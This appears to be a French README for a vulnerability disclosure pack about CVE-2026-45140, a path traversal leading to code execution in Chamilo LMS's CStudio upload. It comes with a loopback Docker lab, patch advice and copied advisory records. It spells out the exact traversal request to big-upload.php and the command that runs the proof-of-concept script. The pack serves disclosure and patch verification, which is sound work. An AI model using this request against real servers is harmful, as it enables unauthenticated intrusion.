
Pack de divulgation et script PoC pour CVE-2026-45140, une traversée de chemin non authentifiée et RCE dans l'upload CStudio de Chamilo LMS, avec un lab Docker en loopback et des conseils de correctif.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-45140
Chamilo LMS 2.0.0 — chamilo
Chamilo LMS est un système de gestion de l'apprentissage open source. Avant la version 2.0.1, Chamilo LMS permet à un attaquant distant non authentifié d'exécuter du code arbitraire sur le serveur. L'avis de référence n'identifie ni le point de terminaison affecté, ni le composant, ni l'entrée, ni le mécanisme d'exploitation. Ce problème est corrigé dans la version 2.0.1.
| CVE | CVE-2026-45140 · CVE.org |
| CWE | CWE-22, CWE-94, CWE-219, CWE-434 |
| CVSS | Critique : 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Produit | Chamilo LMS |
| Affecté | toutes les versions jusqu'à 2.0.0 (incluse) |
| Corrigé | 2.0.1 et versions ultérieures |
| Auth | aucune (voir la cartographie des sources) |
| Licence | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 uniquement · pack de divulgation fournisseur/client, pas un scanner |
L'upload CStudio correspond au fichier PHP big-upload.php, et non à une action= Symfony. Le HTTP correspond à ce chemin de plugin.
POST/plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txtPOST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txt body=POCWitness45140BigUpload::setTempName(key) + uploadFile() fopen(cache/cstudio_upload/ + key)GET /poc-witness.txt → POCWitness45140Le corps de GET /poc-witness.txt contient POCWitness45140. Le HTML de la page d'accueil ou la redirection d'installation ne constitue pas le témoin d'écriture de fichier.
À faire en premier : Mettez à jour Chamilo LMS vers 2.0.1 ou une version ultérieure.
Vérifier après la mise à niveau
CVE-2026-45140-Abraxas-Labs.py contre la version corrigée : le témoin cartographié ne doit pas apparaître.Si vous ne pouvez pas mettre à jour immédiatement
Ciblez uniquement http://127.0.0.1:8088 (ou le loopback que vous avez lié). Ne pointez pas ce script vers Internet.
python3 CVE-2026-45140-Abraxas-Labs.py
Le succès correspond au témoin ci-dessus dans le corps de la réponse. Un HTML 200 générique ne l'est pas.
Pile loopback utilisée pour la reproduction. Images officielles sauf si un Dockerfile dans ce dossier est construit depuis les sources.
cd lab
docker compose up --force-recreate
Liez l'arborescence du produit vulnérable à côté de Compose si le YAML monte un répertoire local (zip du plugin / tag source issu du tableau des versions). Ne publiez rien d'autre que 127.0.0.1.
# CVE-2026-45140 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-45140`
- CWE: CWE-22, CWE-94, CWE-219, CWE-434
- published: 2026-09-17T21:17:12.440
## NVD description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## MITRE description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## Affected
- chamilo chamilo-lms < 2.0.1 affected
- OSV:
## References (JSON sources only)
- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844
- https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1
- https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g4c3-4g96-6g4m
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45140.json
- https://nvd.nist.gov/vuln/detail/CVE-2026-45140
- https://github.com/advisories/GHSA-g4c3-4g96-6g4m
## GitHub advisory
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
### Impact
Ability to run arbitrary code on the server without authentication.
## OSV
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
Ce pack de divulgation est sous licence GNU Affero General Public License v3.0. Voir LICENSE.
Ce pack est destiné au fournisseur, au propriétaire du site et aux labs sous licence. Le script communique avec 127.0.0.1. Son utilisation contre des systèmes que vous ne possédez pas n'est pas autorisée par Abraxas Labs. Aucune garantie.